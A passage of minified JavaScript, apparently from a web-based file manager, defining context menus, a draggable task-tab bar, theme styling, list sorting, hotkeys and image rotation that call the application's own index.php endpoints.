0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",a=".menuTreeRoot",n=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="disabled",t=$(".context-menu-list").filter(":visible"),i=$(".context-menu-active");if(0!=t.length&&0!=i.length){if(i.hasClass("dialog_menu")){var a=i.attr("id"),n=$.dialog.list[a];n.has_frame()?(t.find(".open_window").show(),t.find(".refresh").show()):(t.find(".open_window").hide(),t.find(".refresh").hide())}if(i.hasClass("menufile")){var o=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==o?t.find(".unzip").show():t.find(".unzip").hide(),"html"==o||"htm"==o||"oexe"==o?t.find(".open_text").show():t.find(".open_text").hide()}if(i.hasClass("menuMore")){var s=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(s+=1)}),0==s?t.find(".playmedia").hide():t.find(".playmedia").show()}(i.hasClass("menuZipListFolder")||i.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?t.find(".unzip_this").removeClass(e):t.find(".unzip_this").addClass(e),G.sid&&t.find(".unzip_to").addClass(e))}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("
        "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='
        '+i+"
        ";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
        ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,t){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=t?(G.user_config.list_sort_order=t,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+t).addClass("selected")):t=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",t),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+t})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting:set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},bindEventMenu=function(){$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)}),$(".toolPathMore").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menuToolPath").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active"),$(".menuToolPath").removeClass("fadIn").addClass("menuShow");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolPathMore").removeClass("active"),$(".menuToolPath").trigger("contextmenu:hide")})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},getPagefileNumber=function(){var e=getRowfileNumber(),t=$(Config.BodyContent).outerHeight(),i=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/i)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,t=0,i="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==t?(t=timeFloat(),i=o,e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a),void 0):o==i.substr(-1)?(ui.path.setSelectByChar(i),t=0,void 0):(a>timeFloat()-t&&(t=timeFloat(),i+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,t){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;var i=["ctrl+c","command+c"];switch(inArray(i,t)||stopPP(e),t){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var t=$("#PV_Items li.current img").attr("src"),i="image&path=",a=t.substr(t.search(i)+i.length),n=$('[src="'+t+'"],[data-original="'+t+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var i=function(e){var t="&picture=",i=e.search(t);return-1===i?e+t+UUID():e.substr(0,i)+t+UUID()},a=i(t),o=i($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,t=20,i=parseInt($(".file").css("height")),a=i-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(i+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(i+n)-n)/r;u>0&&(n+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(a+o)*c,p=e+(i+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1])) +}if(ui.setTheme(G.user_config.theme),""==G.this_path){var 